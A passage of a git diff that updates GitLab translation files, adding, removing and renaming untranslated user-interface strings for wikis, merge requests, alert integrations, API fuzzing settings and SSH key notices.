msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index a1d559378f6..0ca54913c1c 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:11\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
